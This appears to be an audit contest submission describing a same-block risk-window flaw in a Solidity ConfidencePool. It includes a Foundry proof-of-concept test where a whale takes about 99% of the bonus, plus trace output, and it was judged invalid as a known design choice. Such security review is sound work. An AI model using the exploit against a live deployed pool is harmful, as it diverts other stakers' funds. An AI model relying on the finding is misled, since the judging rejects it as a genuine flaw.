FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium
Invalid

Same-Block Risk-Window Degeneracy Lets Whale Capital Bypass k=2 Late-Entrant Protection

Author Revealed upon completion

Description

DESIGN promises that stakers who join under `UNDER_ATTACK` earn negligible bonus: k=2 time-weighting crushes late entrants because entry time is floored at `riskWindowStart`, making `(T − entry)² ≈ 0`. When the risk window opens and closes in the same block (`riskWindowStart == riskWindowEnd == block.timestamp`), every staker's time score collapses to zero, including pre-risk depositors whose entry is floored to `riskWindowStart`. When `globalScore == 0`, `_bonusShare` falls back to an amount-weighted split proportional to `eligibleStake`.

A whale who stakes a large amount under `UNDER_ATTACK` in that same block before `flagOutcome(SURVIVED)` captures ~99% of the bonus with ~1% time risk. This is not flash-loanable (stake must remain locked post-resolution), but is exploitable with whale capital and same-block registry transitions via permissionless `pokeRiskWindow()`.

```solidity
// ConfidencePool._bonusShare — degenerate fallback
// @> when all time scores are zero, bonus splits by stake amount not time risk
if (globalScore == 0) {
return (totalBonus * eligibleStake[user]) / totalEligibleStake;
}
// Same-block window: riskWindowStart == riskWindowEnd == block.timestamp
// @> Alice (pre-risk): entry floored to riskWindowStart → score = 0
// @> Whale (same block): entry = block.timestamp → score = 0
// @> globalScore == 0 → amount-weighted → whale dominates
```
PoC numbers (1000e18 bonus pool):
| Staker | Stake | Bonus share |
|--------|-------|-------------|
| Alice | 100e18 | ~9.9e18 (~1%) |
| Whale | 10,000e18 | ~990e18 (~99%) |
When the window spans multiple blocks, k=2 works as documented, a whale staking 10,000e18 twenty-one days after `UNDER_ATTACK` earns less than 1/100 of Alice's bonus.

Risk

Likelihood:

- Permissionless `pokeRiskWindow()` allows any caller to observe `UNDER_ATTACK` and `PRODUCTION` in the same block, zeroing the time spread before the moderator flags `SURVIVED`.

- A whale with sufficient capital stakes under `UNDER_ATTACK` in that same block, no moderator cooperation required.

- Registry transitions in a single block occur naturally during rapid incident resolution on L2s.

Impact:

- Early small stakers who bore calendar risk lose ~99% of the bonus pool to a same-block whale who bore no meaningful time risk.

- Direct economic harm: bonus (the insurance premium) is captured by capital, not time, undermines the k=2 confidence mechanism for this degenerate timing.

- Principal is returned, but the bonus diversion contradicts DESIGN §3's documented late-entrant protection.

Proof of Concept

```bash
forge build
forge test --match-contract PoC_MWhale_SameBlockK2BypassTest -vvvv
```
| Path | Role |
|------|------|
| `test/audit/PoC_MWhale_SameBlockK2Bypass.t.sol` | Standalone PoC |
| `test/helpers/BaseConfidencePoolTest.sol` | Pool + mock registry `setUp()` |
---
### Reviewer copy-paste setup (clean official contest repo)
All paths relative to **`repo/`**.
**Step 1 — Prerequisites**
```bash
cd repo
git submodule update --init --recursive
forge build
```
**Step 2 — Create the PoC test file**
Create **`test/audit/PoC_MWhale_SameBlockK2Bypass.t.sol`** and paste:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @title PoC — same-block risk window lets whale capture ~99% of bonus (amount-weighted fallback)
contract PoC_MWhale_SameBlockK2BypassTest is BaseConfidencePoolTest {
function _flagSurvived() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _claimSurvivedPayout(address user) internal returns (uint256 payout) {
uint256 before = token.balanceOf(user);
vm.prank(user);
pool.claimSurvived();
payout = token.balanceOf(user) - before;
}
function test_PoC_sameBlockRiskWindow_whaleCapitalDominatesBonus_notFlash() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
address whale = makeAddr("whale");
token.mint(whale, 10_000 * ONE);
vm.startPrank(whale);
token.approve(address(pool), 10_000 * ONE);
pool.stake(10_000 * ONE);
vm.stopPrank();
_contributeBonus(carol, 1_000 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
_flagSurvived();
uint256 aliceBonus = _claimSurvivedPayout(alice) - 100 * ONE;
uint256 whaleBonus = _claimSurvivedPayout(whale) - 10_000 * ONE;
assertGt(whaleBonus, aliceBonus * 50, "amount-weighted fallback favors whale");
assertApproxEqAbs(aliceBonus + whaleBonus, 1_000 * ONE, 3);
}
}
```
**Step 3 — Run**
```bash
forge test --match-contract PoC_MWhale_SameBlockK2BypassTest -vvvv
```
```
[PASS] test_PoC_sameBlockRiskWindow_whaleCapitalDominatesBonus_notFlash() (gas: 679046)
Traces:
[679046] PoC_MWhale_SameBlockK2BypassTest::test_PoC_sameBlockRiskWindow_whaleCapitalDominatesBonus_notFlash()
├─ stake(alice, 100e18)
├─ pokeRiskWindow() → emit RiskWindowStarted(timestamp: 1750000000)
├─ stake(whale, 10000e18) under UNDER_ATTACK
├─ pokeRiskWindow() → emit RiskWindowEnded(timestamp: 1750000000) // same block as start
├─ flagOutcome(SURVIVED)
├─ claimSurvived() [alice]
│ └─ emit ClaimSurvived(principal: 100e18, bonusShare: 9900990099009900990 [~9.9e18])
├─ claimSurvived() [whale]
│ └─ emit ClaimSurvived(principal: 10000e18, bonusShare: 990099009900990099009 [~990e18])
└─ assertGt(whaleBonus, aliceBonus * 50) ✓
Suite result: ok. 1 passed; 0 failed; 0 skipped
```

Recommended Mitigation

Require `riskWindowEnd > riskWindowStart` (minimum one block) before the amount-weighted fallback applies, or revert flag when the window is zero-length.

Exclude same-block `UNDER_ATTACK` deposits from bonus: track `stakeBlock[user]` and assign `bonusShare = 0` when `stakeBlock == riskWindowStart == riskWindowEnd`.

Align DESIGN §3 and §7: document that §3 negligible-bonus rule does not apply when §7 fallback triggers, or fix implementation to match §3.

Updates

Lead Judging Commences

inallhonesty Lead Judge
7 days ago
inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Known Design #7

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!